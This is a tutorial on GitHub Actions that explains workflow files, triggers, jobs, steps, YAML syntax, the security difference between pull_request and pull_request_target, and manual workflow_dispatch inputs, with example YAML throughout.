GitHub Actions — Deep Dive into CI/CD Automation
Prerequisites: Basic Git and GitHub usage (repos, branches, PRs, merges). Familiarity with YAML syntax. Understanding of what CI/CD means conceptually. Comfort with the command line and at least one programming language.
What GitHub Actions Is and Why It Matters
GitHub Actions is GitHub's native CI/CD and workflow automation platform, built directly into every GitHub repository. Instead of wiring up a separate service like Jenkins, CircleCI, or Travis CI, you define your automation in YAML files that live inside your repo under .github/workflows/. GitHub provides the compute, the orchestration, and the integration — you just describe what you want to happen and when.
What sets Actions apart from standalone CI/CD tools is its event-driven architecture deeply woven into GitHub's own ecosystem. Workflows can trigger on pushes and pull requests, sure — but also on issue comments, release publications, package registry events, wiki edits, project card movements, and even external webhooks via repository_dispatch. This means Actions isn't limited to build-and-test pipelines; it's a general-purpose automation engine for everything that happens in and around your repository.
mindmap
root((GitHub Actions))
CI/CD Automation
Build & Test
Deploy to Cloud
Release Management
Matrix Testing
Event-Driven Workflows
Push / PR Events
Issue & Comment Triggers
Scheduled Cron Jobs
External Webhooks
GitHub Ecosystem
Pull Requests
Issues & Projects
Packages & Releases
Security Advisories
Marketplace
17,000+ Reusable Actions
Community Maintained
Verified Creators
vs Standalone CI/CD
No Infrastructure to Manage
No Separate Auth/Permissions
Config Lives in the Repo
Native Secret Management
The Shift from Third-Party CI/CD to Native Automation
Before GitHub Actions launched in 2019, automating a GitHub repository meant integrating an external CI/CD service. You'd create an account on Travis CI or CircleCI, grant it OAuth access to your repos, manage webhook configurations, and maintain a separate permissions model. Every integration point was a potential failure surface — broken webhooks, expired tokens, mismatched branch protections.
GitHub Actions collapsed that entire layer. Because it runs inside GitHub itself, there's no external service to authenticate, no webhooks to configure, and no separate dashboard to check. Your workflow files are version-controlled alongside your code, your secrets are managed in GitHub's settings, and status checks appear natively on pull requests. This tight coupling isn't just convenient — it fundamentally reduces the operational complexity of CI/CD.
Traditional CI/CD tools poll your repository or rely on webhooks to detect changes. GitHub Actions is triggered internally by GitHub's own event system — the same system that powers notifications, branch protections, and the activity feed. This means triggers are faster and more reliable than any external integration.
What a Workflow Actually Looks Like
A GitHub Actions workflow is a YAML file in .github/workflows/. It declares the events that trigger it, the jobs to run, and the steps within each job. Here's a minimal but realistic example that runs tests on every push and pull request:
name: CI Pipeline
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
- run: npm ci
- run: npm test
Every line here is declarative. You specify what event should trigger the workflow (on: push), where it should run (runs-on: ubuntu-latest), and what steps to execute. GitHub handles provisioning a fresh virtual machine, cloning your repository, and tearing everything down after the job completes. You never touch a server.
Key Value Propositions
Zero Infrastructure to Manage
GitHub-hosted runners are fully managed virtual machines (Ubuntu, Windows, or macOS) that spin up on demand and are destroyed after each job. You don't provision servers, install agents, or manage updates. For teams that need custom environments, self-hosted runners are also supported — but the hosted option means you can go from zero to a working CI/CD pipeline in minutes.
Configuration as Code
Workflow YAML files live in your repository and follow the same branching, review, and merge process as your application code. This means workflow changes get pull requests, code review, and a full audit trail in your Git history. No more clicking through a CI dashboard to figure out who changed a build step last week.
Massive Marketplace of Reusable Actions
The GitHub Marketplace hosts over 17,000 community-built actions covering everything from deploying to AWS and publishing to npm, to sending Slack notifications and running security scanners. Each action is referenced by a single uses: line in your YAML, and you pin it to a specific version for reproducibility.
Matrix Testing
Matrix strategies let you run the same job across multiple combinations of operating systems, language versions, or any other variable — without duplicating your workflow configuration. A single matrix definition can fan out to dozens of parallel jobs:
jobs:
test:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
node-version: [18, 20, 22]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node-version }}
- run: npm ci
- run: npm test
This single job definition produces 9 parallel runs (3 operating systems × 3 Node.js versions). Each combination gets its own isolated runner, and results are reported individually on the pull request.
Generous Free Tier
Public repositories get unlimited free minutes on GitHub-hosted runners. Private repositories on the free plan get 2,000 minutes per month. This makes Actions particularly attractive for open-source projects that need cross-platform CI without budget constraints.
GitHub Actions vs. Standalone CI/CD Tools
| Capability | GitHub Actions | Jenkins | CircleCI / Travis CI |
|---|---|---|---|
| Infrastructure | Fully managed (hosted runners) | Self-hosted; you manage servers | Cloud-managed with limited self-host |
| Configuration | YAML in repo (.github/workflows/) | Groovy Jenkinsfile or UI | YAML in repo |
| Trigger Model | Native GitHub events (40+ types) | Webhooks + polling | Webhooks (push/PR focused) |
| Ecosystem Integration | Deep — issues, PRs, packages, releases | Plugin-based; requires configuration | Moderate; webhook-based |
| Reusable Components | 17,000+ Marketplace actions | 1,800+ Jenkins plugins | Orbs (CircleCI) / limited (Travis) |
| Cost for Open Source | Free (unlimited minutes) | Free software; you pay for infra | Limited free tiers |
| Secrets Management | Built-in (repo, env, org levels) | Credentials plugin | Environment variables in UI |
If your source code already lives on GitHub, Actions is the path of least resistance. You skip the entire "integrate an external CI service" step and get native status checks, artifact storage, and secret management from day one. The main reason to look elsewhere is if you need advanced features like build artifact caching across organizations (Jenkins) or you're locked into a different Git platform.
Core Concepts: Workflows, Events, Jobs, Steps, and Actions
GitHub Actions has five core concepts that nest inside each other like layers. Understanding how they relate is the single most important thing you can do before writing your first pipeline. Once this mental model clicks, every workflow file you read will make immediate sense.
Here's the hierarchy from the outside in: an Event triggers a Workflow, which contains one or more Jobs, each made up of sequential Steps, where each Step either runs a shell command or invokes a reusable Action.
graph TD
E["🔔 Event
(push, pull_request, schedule)"] --> W["📄 Workflow
(.github/workflows/*.yml)"]
W --> J1["⚙️ Job A
(runs on Runner 1)"]
W --> J2["⚙️ Job B
(runs on Runner 2)"]
W --> J3["⚙️ Job C
(runs on Runner 3)"]
J1 --> S1A["Step 1: run command"]
J1 --> S1B["Step 2: uses action"]
J1 --> S1C["Step 3: run command"]
J2 --> S2A["Step 1: uses action"]
J2 --> S2B["Step 2: run command"]
J3 --> S3A["Step 1: uses action"]
J3 --> S3B["Step 2: uses action"]
style E fill:#f9a825,stroke:#f57f17,color:#000
style W fill:#42a5f5,stroke:#1565c0,color:#fff
style J1 fill:#66bb6a,stroke:#2e7d32,color:#fff
style J2 fill:#66bb6a,stroke:#2e7d32,color:#fff
style J3 fill:#66bb6a,stroke:#2e7d32,color:#fff
Events — The Trigger
An Event is the external signal that starts a workflow. GitHub supports dozens of event types: a push to a branch, a pull_request being opened, a cron-based schedule, a manual workflow_dispatch, or even a webhook from an external system via repository_dispatch. You define which events your workflow listens to with the on: key at the top of the YAML file.
Events can be filtered to be very specific. You don't have to trigger on every push — you can narrow it to particular branches, paths, or tag patterns. This is how you avoid wasting runner minutes on irrelevant changes.
on:
push:
branches: [main]
paths:
- 'src/**'
pull_request:
branches: [main]
schedule:
- cron: '0 6 * * 1' # Every Monday at 6 AM UTC
workflow_dispatch: # Manual trigger from the UI
Workflows — The YAML File
A Workflow is a single YAML file that lives in the .github/workflows/ directory of your repository. Each file defines one automated process — a CI build, a deployment pipeline, a nightly cleanup job. A repository can have as many workflow files as you need, and they operate independently of each other.
The workflow file ties together the trigger (which events), the compute (which runners), and the work (which jobs and steps). Here's the minimal skeleton:
name: CI Pipeline
on:
push:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
- run: npm test
Jobs — Parallel Units of Work
Jobs are the top-level units of work inside a workflow. By default, all jobs run in parallel on separate runner machines. This is a crucial detail — Job A and Job B get their own fresh virtual environment and cannot see each other's file system. They are completely isolated.
If you need Job B to wait for Job A (for example, don't deploy until tests pass), you explicitly declare a dependency with the needs: keyword. This creates a directed acyclic graph (DAG) of job execution.
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm run lint
deploy:
needs: [test, lint] # Waits for BOTH to pass
runs-on: ubuntu-latest
steps:
- run: echo "Deploying..."
Because each job gets its own runner, files created in one job are not available in another. To share data between jobs, you must use artifacts (upload/download) or job outputs (small string values). This isolation is by design — it ensures jobs are reproducible and can run on any available runner.
Steps — Sequential Instructions
Steps are the individual instructions inside a job. Unlike jobs, steps run sequentially — one after the other, in the order you list them. All steps within a job share the same runner, which means they share the same file system, environment variables, and working directory.
Each step does one of two things: it either runs a shell command with run:, or it invokes a reusable action with uses:. You can give each step an id: so that later steps can reference its outputs, and a name: to make the logs easier to read.
steps:
- name: Check out code
uses: actions/checkout@v4
- name: Set up Node.js
uses: actions/setup-node@v4
with:
node-version: '20'
- name: Install dependencies
run: npm ci
- name: Run tests and capture result
id: tests
run: |
npm test 2>&1 | tee test-output.txt
echo "status=success" >> "$GITHUB_OUTPUT"
- name: Report result
run: echo "Tests finished with ${{ steps.tests.outputs.status }}"
Actions — Reusable Building Blocks
Actions are the reusable units that make GitHub Actions powerful. Instead of writing 20 lines of shell script to set up a Node.js environment, check out your code, or deploy to AWS, you reference a pre-built action that handles it for you. Actions are referenced with the uses: keyword and follow the format owner/repo@version.
There are three types of actions: JavaScript actions that run directly in Node.js, Docker container actions that run inside a container image, and composite actions that bundle multiple steps together. The GitHub Marketplace hosts thousands of community-built actions.
# Public action from the marketplace
- uses: actions/checkout@v4
# Action from a different repository
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/deploy
aws-region: us-east-1
# Action from a subdirectory in the SAME repository
- uses: ./.github/actions/my-custom-action
# Docker Hub container action
- uses: docker://alpine:3.19
Use actions/checkout@v4 (major version tag) or even better, pin to a full SHA like actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11. Pinning to @main or @latest means a malicious or breaking update to the action can silently affect your pipeline.
How Data Flows Between Layers
Data movement in GitHub Actions follows strict boundaries defined by the hierarchy. Understanding where data can and cannot flow will save you hours of debugging.
| Data Flow | Mechanism | Scope |
|---|---|---|
| Between Steps (same job) | File system, environment variables, GITHUB_OUTPUT | Shared runner — direct access |
| Between Jobs (same workflow) | Artifacts (actions/upload-artifact), job outputs | Separate runners — explicit transfer |
| Between Workflows | workflow_call inputs/outputs, repository_dispatch, artifacts | Separate workflow files — loose coupling |
| Event → Workflow | Event payload in github.event context | Read-only JSON available to all jobs |
Within a job, passing data between steps is straightforward. You write to the $GITHUB_OUTPUT file and read it with the steps.<id>.outputs.<name> expression. For environment variables, you append to $GITHUB_ENV — any step after that can read the variable.
jobs:
build:
runs-on: ubuntu-latest
outputs:
version: ${{ steps.get_version.outputs.version }}
steps:
- id: get_version
run: echo "version=1.2.3" >> "$GITHUB_OUTPUT"
deploy:
needs: build
runs-on: ubuntu-latest
steps:
- run: echo "Deploying v${{ needs.build.outputs.version }}"
The outputs mechanism between jobs can only pass short string values. If you need to share files (build artifacts, test reports, binaries), use the actions/upload-artifact and actions/download-artifact actions instead. There is a 10 MB limit on the total size of all job outputs combined.
Anatomy of a Workflow File: Your First Workflow
Every GitHub Actions workflow lives in a single YAML file inside your repository. Understanding how that file is structured — from its location on disk to the hierarchy of keys inside it — is the foundation for everything else you'll build with Actions.
In this section, you'll construct a real CI workflow from scratch, line by line. By the end, you'll have a working pipeline that checks out your code, sets up Node.js, installs dependencies, lints, and runs tests.
Where Workflow Files Live
GitHub Actions only discovers workflow files in one specific directory: .github/workflows/ at the root of your repository. The file must have a .yml or .yaml extension. You can name the file anything you want — ci.yml, deploy.yml, nightly-tests.yaml — the filename has no effect on behavior, but a descriptive name helps your team navigate quickly.
mkdir -p .github/workflows
touch .github/workflows/ci.yml
The .github/workflows/ path is case-sensitive. A file placed in .Github/Workflows/ or .github/workflow/ (singular) will be silently ignored by GitHub Actions.
The Three Top-Level Keys
Every workflow file is built from three essential top-level keys: name, on, and jobs. Think of them as the what, the when, and the how of your pipeline. Let's look at each one before assembling the full file.
name — What This Workflow Is Called
The name key gives your workflow a human-readable label that appears in the GitHub Actions UI (the "Actions" tab). It's technically optional — GitHub will fall back to the filename if you omit it — but you should always set it explicitly. A clear name like "CI" or "Deploy to Production" makes it much easier to identify runs at a glance.
name: CI
on — When This Workflow Runs
The on key defines the events that trigger the workflow. You can respond to repository events like push, pull_request, release, scheduled cron jobs, or even manual dispatches. For a CI pipeline, you typically want to run on pushes to main and on any pull request targeting main.
on:
push:
branches: [main]
pull_request:
branches: [main]
The branches filter is important. Without it, the workflow fires on pushes to every branch, which burns through your Actions minutes on feature branches that don't need it. Scoping triggers to main (and relying on pull_request for feature branches) is a best practice that balances coverage with cost.
jobs — What Actually Happens
The jobs map is where the real work lives. Each key under jobs is a job ID (a string you choose), and each job contains a runs-on key (which runner to use) and a steps list (the sequence of commands to execute). Jobs run in parallel by default — you use needs to make one job wait for another.
jobs:
build-and-test: # Job ID — you pick this name
runs-on: ubuntu-latest # The runner environment
steps:
- name: Do something
run: echo "Hello from CI"
The Complete Workflow — Fully Annotated
Now let's put all three keys together into a real-world CI workflow for a Node.js project. Every line is annotated so you understand not just what it does, but why it's there.
# -----------------------------------------------
# File: .github/workflows/ci.yml
# -----------------------------------------------
name: CI # Display name in the Actions tab
on: # Events that trigger this workflow
push:
branches: [main] # Run on pushes to main only
pull_request:
branches: [main] # Run on PRs targeting main
jobs:
build-and-test: # Job ID (lowercase, hyphens)
runs-on: ubuntu-latest # Use GitHub's hosted Ubuntu runner
steps:
# ---- Step 1: Check out the repository ----
- name: Checkout code
uses: actions/checkout@v4
# Clones your repo into the runner's workspace.
# Without this, the runner starts with an empty directory.
# ---- Step 2: Set up the Node.js runtime ----
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 20 # Install Node.js 20.x
cache: npm # Cache ~/.npm to speed up installs
# ---- Step 3: Install project dependencies ----
- name: Install dependencies
run: npm ci
# "npm ci" is faster than "npm install" in CI because it
# skips the package resolution step and installs directly
# from package-lock.json, ensuring reproducible builds.
# ---- Step 4: Run the linter ----
- name: Lint
run: npm run lint
# Catches style violations and potential bugs before tests.
# Fails fast — no point running tests if code doesn't lint.
# ---- Step 5: Run the test suite ----
- name: Run tests
run: npm test
# Executes whatever "test" script is defined in package.json.
# A non-zero exit code here fails the entire workflow.
Key Concepts in the Workflow
There are a few important patterns in the workflow above that are worth calling out explicitly.
uses vs run
Steps come in two flavors. A uses step pulls in a pre-built action — a reusable unit of code published to the GitHub Marketplace (or any public repo). A run step executes a shell command directly on the runner. You'll mix both in almost every workflow: actions handle complex setup tasks, while run steps execute your project-specific commands.
| Keyword | What It Does | Example |
|---|---|---|
uses | Runs a reusable action (from Marketplace or repo) | uses: actions/checkout@v4 |
run | Runs a shell command on the runner | run: npm test |
Version Pinning with @v4
Notice that each action reference includes a version tag like @v4. This pins the action to a specific major version, so a breaking change in v5 won't silently break your pipeline. For maximum reproducibility, you can pin to an exact commit SHA instead (e.g., actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11), but the major-version tag is the most common balance between stability and staying current.
Why npm ci Instead of npm install?
In local development, npm install is fine — it resolves versions and may update package-lock.json. In CI, you want deterministic builds. npm ci deletes node_modules/ entirely, then installs exactly what's in package-lock.json. It's faster and guarantees that your CI environment matches what you tested locally.
The cache: npm option on actions/setup-node automatically caches the global npm cache directory between runs. This can cut dependency install time from 30+ seconds down to under 5 seconds on subsequent runs.
How Steps Execute
Steps inside a job run sequentially, top to bottom, in a single runner environment. Each step shares the same filesystem, so files created in Step 1 (like the cloned repo) are available in Step 5. If any step exits with a non-zero code, the entire job fails and subsequent steps are skipped (unless you override this with if: always()).
This sequential behavior is why step order matters. You must check out the code before you can install dependencies, and you must install dependencies before you can lint or test. Think of it as a script that runs from top to bottom — because under the hood, that's exactly what it is.
A common beginner mistake is forgetting the actions/checkout step. Without it, the runner's workspace is empty — your npm ci command will fail because there's no package.json to read. Always check out your code first.
Testing Your Workflow
To see this workflow in action, commit the file and push it to your repository. You can verify it's working in three ways:
git add .github/workflows/ci.yml
git commit -m "ci: add CI workflow"
git push origin main
After pushing, navigate to the Actions tab in your GitHub repository. You'll see a new workflow run named "CI" with the commit message as its title. Click into it to see the build-and-test job, and expand each step to view its logs. A green checkmark means everything passed; a red X means a step failed and you'll find the error in that step's output.
Workflow YAML Syntax Reference
Every GitHub Actions workflow lives in a .yml or .yaml file inside your repository's .github/workflows/ directory. The schema is strict — GitHub validates every key at parse time, and a single typo can silently disable your workflow.
This reference covers every top-level key you can place in a workflow file, along with its type, whether it's required or optional, valid values, and a working example.
| Key | Type | Required | Purpose |
|---|---|---|---|
name | string | Optional | Display name in the Actions UI |
run-name | string (supports expressions) | Optional | Dynamic name for each workflow run |
on | string | array | map | Required | Events that trigger the workflow |
permissions | string | map | Optional | GITHUB_TOKEN permission scopes |
env | map | Optional | Environment variables for all jobs |
defaults | map | Optional | Default settings for all run steps |
concurrency | string | map | Optional | Controls concurrent run behaviour |
jobs | map | Required | The jobs to execute |
name
The name key sets the human-readable label that appears in the GitHub Actions tab. If you omit it, GitHub uses the workflow file path (e.g., .github/workflows/ci.yml) as the display name instead. Setting an explicit name is a good habit — it makes the UI far easier to scan when you have many workflows.
name: CI Pipeline
run-name
While name labels the workflow itself, run-name labels each individual run. It supports GitHub Actions expressions, so you can embed dynamic context — the actor who triggered it, the branch name, or an input value. This is especially useful for workflow_dispatch workflows where multiple manual runs would otherwise look identical.
name: Deploy
run-name: Deploy to ${{ inputs.environment }} by @${{ github.actor }}
on:
workflow_dispatch:
inputs:
environment:
description: Target environment
required: true
type: choice
options: [staging, production]
run-name only has access to the github and inputs contexts. You cannot reference env, secrets, or job outputs here because the run name is resolved before any job starts.
on
The on key is the only truly required top-level key besides jobs. It defines which events trigger the workflow. You can express it in three forms — a single event string, an array of events, or a map with per-event configuration like branch filters, path filters, and activity types.
Single event
on: push
Multiple events (array)
on: [push, pull_request, workflow_dispatch]
Map with filters
on:
push:
branches: [main, release/*]
paths-ignore: ['docs/**', '*.md']
pull_request:
branches: [main]
types: [opened, synchronize, reopened]
schedule:
- cron: '30 5 * * 1' # Every Monday at 05:30 UTC
The map form is the most common in production. The branches / branches-ignore filters accept glob patterns. The paths / paths-ignore filters let you skip runs when only irrelevant files change. The types filter narrows which activity types of an event you care about — by default, pull_request triggers on opened, synchronize, and reopened.
permissions
The permissions key controls the scopes granted to the GITHUB_TOKEN that is automatically injected into every workflow run. By default, the token receives fairly broad permissions. Following the principle of least privilege, you should explicitly declare only the scopes your workflow actually needs. You can set permissions at the workflow level (top-level) or override them per job.
Two shorthand values set all scopes at once:
# Grant read on every scope
permissions: read-all
# Grant write on every scope (avoid this)
permissions: write-all
The granular form is preferred. Each scope accepts read, write, or none:
permissions:
contents: read
issues: write
pull-requests: write
packages: none
Start with permissions: {} (empty map — grants nothing) and add scopes one at a time until your workflow passes. Any scope you don't list explicitly is set to none when using the map form. This is the safest approach.
env
The top-level env key defines environment variables that are available to every job and every step in the workflow. Values must be strings. You can also set env at the job level or step level — the most specific scope wins when there's a name collision.
env:
NODE_ENV: production
REGISTRY_URL: https://npm.pkg.github.com
CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
jobs:
build:
runs-on: ubuntu-latest
env:
# Job-level env overrides workflow-level for this job
NODE_ENV: test
steps:
- run: echo "$NODE_ENV" # prints "test"
The override order is: step env → job env → workflow env. Expressions like ${{ secrets.API_KEY }} are valid in env values, but avoid putting secrets directly in top-level env unless every job in the workflow truly needs them.
defaults
The defaults key provides default settings for all run steps in the workflow. Currently, the only supported child key is defaults.run, which lets you set a default shell and working-directory. This prevents you from repeating the same working-directory on every single step when your code lives in a subdirectory.
defaults:
run:
shell: bash
working-directory: ./apps/frontend
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# These steps automatically run in ./apps/frontend with bash
- run: npm ci
- run: npm run build
You can also set defaults.run at the job level. A job-level default overrides the workflow-level default. Individual steps can still override both by specifying their own shell or working-directory.
concurrency
The concurrency key prevents multiple runs of the same workflow (or workflow group) from executing in parallel. This is critical for deployment workflows — you don't want two runs deploying to production simultaneously. When a new run starts, it either queues behind the in-progress run or cancels it, depending on the cancel-in-progress flag.
Simple form (string)
# Runs with the same group name queue (only one active at a time)
concurrency: production-deploy
Map form with cancel-in-progress
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
The group key accepts expressions — the pattern above creates a unique concurrency group per workflow per branch. With cancel-in-progress: true, pushing a new commit to a PR automatically cancels the still-running check from the previous push, saving CI minutes.
Do not use cancel-in-progress: true on deployment workflows targeting production. Cancelling a half-finished deployment can leave your infrastructure in a broken state. Use it for CI/test workflows where cancellation is safe.
jobs
The jobs key is where the actual work happens. It's a map where each key is a job ID (must start with a letter or _ and contain only alphanumeric characters, -, or _). By default, all jobs run in parallel. You create dependencies between them with the needs key to build sequential pipelines or fan-out/fan-in patterns.
Each job has a rich set of nested keys. Here are the most important ones:
| Job Key | Type | Purpose |
|---|---|---|
runs-on | string | array | Runner label(s) — required |
needs | string | array | Job dependencies (run after these) |
if | expression | Conditional execution |
steps | array | Sequence of actions / shell commands |
strategy | map | Matrix builds and fail-fast settings |
environment | string | map | Deployment environment with protection rules |
outputs | map | Values to pass to dependent jobs |
timeout-minutes | number | Max run time (default: 360) |
services | map | Sidecar containers (databases, etc.) |
container | string | map | Run the job inside a Docker container |
Here's a realistic workflow combining most of the keys covered above:
name: CI & Deploy
run-name: "${{ github.ref_name }} — triggered by @${{ github.actor }}"
on:
push:
branches: [main]
pull_request:
branches: [main]
permissions:
contents: read
packages: write
env:
NODE_VERSION: '20'
defaults:
run:
shell: bash
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
jobs:
test:
runs-on: ubuntu-latest
strategy:
matrix:
node: [18, 20, 22]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node }}
- run: npm ci
- run: npm test
deploy:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
environment: production
steps:
- uses: actions/checkout@v4
- run: echo "Deploying ${{ github.sha }} to production"
Notice how the deploy job uses needs: test to wait for all matrix legs of test to pass, and the if condition ensures it only runs on pushes to main — not on pull requests. The concurrency block cancels in-progress runs on feature branches but queues them on main to avoid aborting deployments.
Code Events: push, pull_request, and pull_request_target
The push, pull_request, and pull_request_target events are the workhorses of most CI/CD pipelines. They fire when code changes land or are proposed, and each offers powerful filtering options to control exactly when your workflows run.
Understanding the differences between these three events — especially the security implications of pull_request_target — is essential for building both efficient and safe pipelines.
The push Event
The push event fires whenever commits are pushed to the repository, including branch pushes, tag pushes, and force-pushes. You rarely want a workflow to run on every push to every branch — that is where filters come in.
Branch Filters
Use branches to include specific branches, or branches-ignore to exclude them. Both support glob patterns. You cannot combine branches and branches-ignore in the same event — pick one strategy.
on:
push:
branches:
- main
- 'release/**' # matches release/v1.0, release/beta/2.0
- '!release/**-alpha' # exclude alpha releases within the include
# OR use branches-ignore (cannot combine with branches):
# branches-ignore:
# - 'dependabot/**'
# - 'tmp/**'
The ** glob matches any characters including /, so release/** matches nested branches like release/v1/hotfix. A single * matches any character except /. You can negate patterns with ! inside a branches filter, but at least one positive pattern must exist.
Tag Filters
Tag filters work the same way as branch filters. When a tag is pushed, you can match it with tags or exclude it with tags-ignore. This is especially useful for triggering release workflows on semantic version tags.
on:
push:
tags:
- 'v[0-9]+.[0-9]+.[0-9]+' # v1.0.0, v2.12.3
- 'v[0-9]+.[0-9]+.[0-9]+-rc*' # v1.0.0-rc1
When you push a tag, only tags / tags-ignore filters are evaluated. When you push a branch, only branches / branches-ignore filters apply. If you define both in the same push event, a tag push will be ignored if it does not match the tags filter, even if the branch filter would have matched.
Path Filters
Path filters let you skip workflow runs when only irrelevant files change. This is a major efficiency win — there is no reason to run your backend test suite when someone edits a README.
on:
push:
branches: [main]
paths:
- 'src/**'
- 'package.json'
- 'package-lock.json'
- '!src/**/*.md' # ignore markdown files inside src
# Or exclude paths instead:
# push:
# paths-ignore:
# - 'docs/**'
# - '*.md'
# - '.vscode/**'
Path filters are combined with branch filters using AND logic. A push must match both the branch filter and the path filter to trigger the workflow. If you use paths, the workflow only runs when at least one changed file matches. With paths-ignore, it runs unless all changed files match the ignored patterns.
The pull_request Event
The pull_request event triggers workflows in the context of a merge commit between the PR head branch and the base branch. This is the safe default for pull request workflows — it intentionally restricts access to secrets when the PR originates from a fork.
Activity Types
By default, pull_request triggers on three activity types: opened, synchronize (new commits pushed), and reopened. You can expand or narrow this list with the types keyword.
on:
pull_request:
types:
- opened
- synchronize
- reopened
- closed # useful for cleanup tasks
- labeled # trigger on label changes
- ready_for_review # skip draft PRs until ready
The full list of activity types includes: assigned, unassigned, labeled, unlabeled, opened, edited, closed, reopened, synchronize, converted_to_draft, ready_for_review, locked, unlocked, review_requested, review_request_removed, auto_merge_enabled, and auto_merge_disabled.
The pull_request event also supports the same branches, branches-ignore, paths, and paths-ignore filters as push. For pull requests, branch filters match against the base branch (the branch the PR targets), not the head branch.
The pull_request_target Event
The pull_request_target event looks similar to pull_request, but it behaves in a fundamentally different way. It runs the workflow as defined in the base branch (e.g., main), not the PR head branch. It also has full access to repository secrets — even for PRs from forks.
This event was designed for trusted automation tasks: labeling PRs, posting welcome comments, or running dependency-aware checks that need secret access. It was not designed for building and running untrusted fork code with elevated permissions.
# SAFE: uses only base branch code, never checks out fork code
on:
pull_request_target:
types: [opened, labeled]
jobs:
triage:
runs-on: ubuntu-latest
steps:
- name: Add label based on files changed
uses: actions/labeler@v5
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
If you use pull_request_target and then actions/checkout with ref: ${{ github.event.pull_request.head.sha }}, you are running untrusted fork code with full access to your secrets. An attacker can modify any file in their fork — including workflow scripts, Makefiles, or build configs — to exfiltrate your tokens. Only do this if you have explicit safeguards like requiring a label from a maintainer before the job runs.
pull_request vs. pull_request_target
The distinction between these two events is the single most important security concept in GitHub Actions. The table below summarizes the key differences.
| Aspect | pull_request | pull_request_target |
|---|---|---|
| Workflow file source | PR head branch (fork version) | Base branch (e.g., main) |
| Code checked out by default | Merge commit (head + base) | Base branch commit |
GITHUB_TOKEN permissions | Read-only for fork PRs | Read/write |
| Access to secrets | ❌ No (fork PRs) | ✅ Yes |
| Safe to run untrusted code? | ✅ Yes — sandboxed | ⚠️ Only if you never checkout fork code |
| Primary use case | CI: build, test, lint | Triage: label, comment, approve |
flowchart LR
subgraph PR["Pull Request from Fork"]
HEAD["Fork HEAD commit
(untrusted code)"]
BASE["Base branch commit
(your repo main)"]
end
subgraph E1["pull_request event"]
direction TB
WF1["Workflow from:
HEAD branch"]
CO1["Checks out:
merge commit"]
SEC1["Secrets: Not available
GITHUB_TOKEN: read-only"]
SAFE1["Safe to build and test"]
WF1 --> CO1 --> SEC1 --> SAFE1
end
subgraph E2["pull_request_target event"]
direction TB
WF2["Workflow from:
BASE branch"]
CO2["Checks out:
BASE commit only"]
SEC2["Secrets: Available
GITHUB_TOKEN: read/write"]
SAFE2["Safe only if you
do not checkout HEAD"]
WF2 --> CO2 --> SEC2 --> SAFE2
end
HEAD --> E1
BASE --> E2
When To Use Each
Use pull_request as your default for any workflow that builds, tests, or executes code from the PR. It is deliberately sandboxed: fork PRs get a read-only GITHUB_TOKEN and no access to your repository secrets. This prevents a malicious fork from stealing credentials.
Use pull_request_target only for workflows that need write permissions or secrets but do not execute code from the PR. Common examples include auto-labeling, posting comments, or triggering downstream workflows. If you must combine pull_request_target with checking out the PR code, gate the job behind a required label like safe-to-test that only maintainers can apply.
A proven pattern for fork PRs that need secret access (e.g., deploying a preview): use pull_request to build artifacts safely, upload them with actions/upload-artifact, then use a separate workflow_run workflow (triggered on completion of the first) to download the artifact and deploy it with secrets. This keeps untrusted code execution and secret access in completely separate workflows.
Manual and API Triggers: workflow_dispatch and repository_dispatch
Not every workflow should run automatically. Deployments, data migrations, one-off maintenance scripts — these need a human to press "go" or an external system to signal "now." GitHub Actions provides two event triggers for this: workflow_dispatch for manual runs with typed inputs, and repository_dispatch for programmatic triggers from any external source.
workflow_dispatch — Manual Triggers with Typed Inputs
workflow_dispatch lets you trigger a workflow from the GitHub UI's "Run workflow" button, the gh CLI, or the REST API. Its real power is typed inputs: you define a form with strings, booleans, dropdowns, and environment selectors that users fill out before the run starts. This turns a generic workflow into a self-service tool.
Defining Inputs
Each input has a type, a description, a default, and an optional required flag. GitHub supports four input types: string, boolean, choice, and environment.
name: Deploy Application
on:
workflow_dispatch:
inputs:
environment:
description: "Target deployment environment"
required: true
type: environment
version:
description: "Release tag to deploy (e.g. v1.4.2)"
required: true
type: string
dry_run:
description: "Simulate without making changes"
required: false
type: boolean
default: false
log_level:
description: "Logging verbosity"
required: false
type: choice
options:
- info
- debug
- warn
- error
default: info
When a user clicks Run workflow in the Actions tab, GitHub renders these inputs as form fields — a dropdown for environment, a text box for version, a checkbox for dry_run, and a select menu for log_level.
Accessing Input Values in Jobs
Inside your workflow, reference inputs with the github.event.inputs context or the dedicated inputs context. The inputs context is type-aware — booleans come through as actual booleans, not strings.
jobs:
deploy:
runs-on: ubuntu-latest
environment: ${{ inputs.environment }}
steps:
- uses: actions/checkout@v4
with:
ref: ${{ inputs.version }}
- name: Deploy
if: ${{ inputs.dry_run == false }}
run: |
echo "Deploying ${{ inputs.version }} to ${{ inputs.environment }}"
echo "Log level: ${{ inputs.log_level }}"
./scripts/deploy.sh
- name: Dry run
if: ${{ inputs.dry_run == true }}
run: |
echo "[DRY RUN] Would deploy ${{ inputs.version }} to ${{ inputs.environment }}"
